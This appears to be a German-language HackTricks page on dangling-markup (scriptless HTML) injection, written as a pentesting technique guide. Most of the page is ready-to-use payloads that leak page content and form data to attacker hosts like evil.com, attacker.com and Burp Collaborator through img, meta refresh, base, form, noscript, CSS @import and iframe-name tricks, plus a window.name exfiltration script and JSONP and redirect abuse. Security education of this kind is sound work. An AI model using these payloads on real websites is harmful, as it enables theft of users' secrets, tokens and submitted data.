Dangling Markup - HTML scriptless injection

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Resume

Diese Technik kann verwendet werden, um Informationen von einem Benutzer zu extrahieren, wenn eine HTML-Injection gefunden wird. Dies ist sehr nützlich, wenn du keinen Weg findest, um eine XSS zu exploiten, aber du einige HTML-Tags injizieren kannst. Es ist auch nützlich, wenn ein Geheimnis im Klartext im HTML gespeichert ist und du es exfiltrieren möchtest, oder wenn du eine Skriptausführung irreführen möchtest.

Mehrere hier kommentierte Techniken können verwendet werden, um einige Content Security Policy zu umgehen, indem Informationen auf unerwartete Weise exfiltriert werden (HTML-Tags, CSS, HTTP-Meta-Tags, Formulare, Basis...).

Hauptanwendungen

Stehlen von Klartextgeheimnissen

Wenn du <img src='http://evil.com/log.cgi? injizierst, wenn die Seite geladen wird, wird das Opfer dir den gesamten Code zwischen dem injizierten img-Tag und dem nächsten Anführungszeichen im Code senden. Wenn sich ein Geheimnis irgendwie in diesem Abschnitt befindet, wirst du es stehlen (du kannst dasselbe mit einem doppelten Anführungszeichen tun, schau dir an, was interessanter sein könnte).

Wenn das img-Tag verboten ist (zum Beispiel aufgrund von CSP), kannst du auch <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi? verwenden.

<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=

Beachten Sie, dass Chrome HTTP-URLs mit "<" oder "\n" blockiert, sodass Sie andere Protokollschemata wie "ftp" ausprobieren können.

Sie können auch CSS @import missbrauchen (es sendet den gesamten Code, bis es ein ";" findet).

<style>@import//hackvertor.co.uk?     <--- Injected
<b>steal me!</b>;

Du könntest auch <table verwenden:

<table background='//your-collaborator-id.burpcollaborator.net?'

Sie könnten auch ein <base-Tag einfügen. Alle Informationen werden gesendet, bis das Zitat geschlossen ist, aber es erfordert einige Benutzerinteraktion (der Benutzer muss auf einen Link klicken, da das Basistag die durch den Link angegebene Domain geändert hat):

<base target='        <--- Injected
steal me'<b>test</b>

Formulare stehlen

<base href='http://evil.com/'>

Dann werden die Formulare, die Daten an den Pfad senden (wie <form action='update_profile.php'>), die Daten an die bösartige Domain senden.

Stealing forms 2

Setzen Sie einen Formular-Header: <form action='http://evil.com/log_steal'>, dies wird den nächsten Formular-Header überschreiben und alle Daten aus dem Formular werden an den Angreifer gesendet.

Stealing forms 3

Der Button kann die URL ändern, an die die Informationen des Formulars mit dem Attribut "formaction" gesendet werden.

<button name=xss type=submit formaction='https://google.com'>I get consumed!

Ein Angreifer kann dies nutzen, um Informationen zu stehlen.

Finden Sie ein Beispiel für diesen Angriff in diesem Bericht.

Stehlen von Klartext-Geheimnissen 2

Mit der zuletzt erwähnten Technik zum Stehlen von Formularen (Einfügen eines neuen Formular-Headers) können Sie dann ein neues Eingabefeld einfügen:

<input type='hidden' name='review_body' value="

und dieses Eingabefeld wird den gesamten Inhalt zwischen seinen doppelten Anführungszeichen und dem nächsten doppelten Anführungszeichen im HTML enthalten. Dieser Angriff kombiniert "Stealing clear text secrets" mit "Stealing forms2".

Sie können dasselbe tun, indem Sie ein Formular und ein <option>-Tag injizieren. Alle Daten bis ein geschlossenes </option> gefunden wird, werden gesendet:

<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option

Formparameter-Injektion

Sie können den Pfad eines Formulars ändern und neue Werte einfügen, sodass eine unerwartete Aktion ausgeführt wird:

<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'>                                        ← Injected lines

<form action="/change_settings.php">                        ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">             ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>

Stehlen von Klartextgeheimnissen über noscript

<noscript></noscript> ist ein Tag, dessen Inhalt interpretiert wird, wenn der Browser JavaScript nicht unterstützt (Sie können JavaScript in Chrome unter chrome://settings/content/javascript aktivieren/deaktivieren).

Eine Möglichkeit, den Inhalt der Webseite vom Punkt der Injektion bis zum Ende auf eine von einem Angreifer kontrollierte Seite zu exfiltrieren, besteht darin, Folgendes einzufügen:

<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>

Bypassing CSP with user interaction

Aus dieser Portsweigger-Forschung können Sie lernen, dass Sie selbst aus den am stärksten CSP-restriktiven Umgebungen immer noch Daten exfiltrieren können, wenn Sie etwas Benutzerinteraktion haben. In diesem Fall werden wir das Payload verwenden:

<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='

Beachten Sie, dass Sie die Opfer bitten werden, auf einen Link zu klicken, der ihn zu einem von Ihnen kontrollierten Payload umleitet. Beachten Sie auch, dass das target-Attribut innerhalb des base-Tags HTML-Inhalt bis zum nächsten einfachen Anführungszeichen enthalten wird. Dies wird dazu führen, dass der Wert von window.name, wenn der Link angeklickt wird, all diesen HTML-Inhalt enthalten wird. Daher, da Sie die Seite kontrollieren, auf die das Opfer zugreift, indem es auf den Link klickt, können Sie auf dieses window.name zugreifen und diese Daten exfiltrieren:

<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>

Irreführender Skript-Workflow 1 - HTML-Namensraum-Angriff

Fügen Sie ein neues Tag mit einer ID innerhalb des HTML ein, das das nächste überschreibt und mit einem Wert, der den Fluss eines Skripts beeinflusst. In diesem Beispiel wählen Sie aus, mit wem Informationen geteilt werden:

<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}

Irreführender Skript-Workflow 2 - Skript-Namensraum-Angriff

Erstellen Sie Variablen innerhalb des JavaScript-Namensraums, indem Sie HTML-Tags einfügen. Dann wird diese Variable den Ablauf der Anwendung beeinflussen:

<img id='is_public'>                                        ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC)                    ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}

function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC;           ← Condition always evaluates to true
...
}

Missbrauch von JSONP

Wenn Sie eine JSONP-Schnittstelle finden, könnten Sie in der Lage sein, eine beliebige Funktion mit beliebigen Daten aufzurufen:

<script src='/editor/sharing.js'>:              ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
set_sharing({ ... })

Oder Sie können sogar versuchen, etwas JavaScript auszuführen:

<script src='/search?q=a&call=alert(1)'></script>

Iframe-Missbrauch

Ein Kinddokument hat die Fähigkeit, die location-Eigenschaft seines Elternteils zu sehen und zu ändern, selbst in Cross-Origin-Situationen. Dies ermöglicht das Einbetten eines Skripts in ein iframe, das den Client auf eine beliebige Seite umleiten kann:

<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>

Dies kann mit etwas wie: sandbox=' allow-scripts allow-top-navigation' gemildert werden.

Ein iframe kann auch missbraucht werden, um sensible Informationen von einer anderen Seite unter Verwendung des iframe name Attributs zu leaken. Dies liegt daran, dass Sie ein iframe erstellen können, das sich selbst in ein iframe einfügt und die HTML-Injection ausnutzt, die sensible Informationen im iframe name Attribut erscheinen lässt und dann diesen Namen vom ursprünglichen iframe aus zugreifen und leaken kann.

<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>

<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>

Für weitere Informationen siehe https://portswigger.net/research/bypassing-csp-with-dangling-iframes

<meta-Missbrauch

Sie könnten meta http-equiv verwenden, um mehrere Aktionen auszuführen, wie das Setzen eines Cookies: <meta http-equiv="Set-Cookie" Content="SESSID=1"> oder eine Weiterleitung durchzuführen (in 5s in diesem Fall): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />

Dies kann mit einer CSP bezüglich http-equiv ( Content-Security-Policy: default-src 'self';, oder Content-Security-Policy: http-equiv 'self';)

Neuer <portal HTML-Tag

Sie finden eine sehr interessante Forschung zu ausnutzbaren Schwachstellen des <portal-Tags hier. Zum Zeitpunkt des Schreibens müssen Sie den Portal-Tag in Chrome unter chrome://flags/#enable-portals aktivieren, sonst funktioniert es nicht.

<portal src='https://attacker-server?

HTML Leaks

Nicht alle Möglichkeiten, um Konnektivität in HTML zu leaken, sind für Dangling Markup nützlich, aber manchmal könnte es helfen. Überprüfen Sie sie hier: https://github.com/cure53/HTTPLeaks/blob/master/leak.html

SS-Leaks

Dies ist ein Mix aus dangling markup und XS-Leaks. Einerseits erlaubt die Schwachstelle, HTML (aber kein JS) in eine Seite derselben Herkunft wie die, die wir angreifen werden, zu injizieren. Andererseits werden wir die Seite, in die wir HTML injizieren können, nicht direkt angreifen, sondern eine andere Seite.

SS-Leaks

XS-Search/XS-Leaks

XS-Search sind darauf ausgerichtet, cross-origin Informationen zu exfiltrieren, indem sie Seitenkanalangriffe ausnutzen. Daher ist es eine andere Technik als Dangling Markup, jedoch missbrauchen einige der Techniken die Einbeziehung von HTML-Tags (mit und ohne JS-Ausführung), wie CSS Injection oder Lazy Load Images.

XS-Search/XS-Leaks

Brute-Force Detection List

References

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated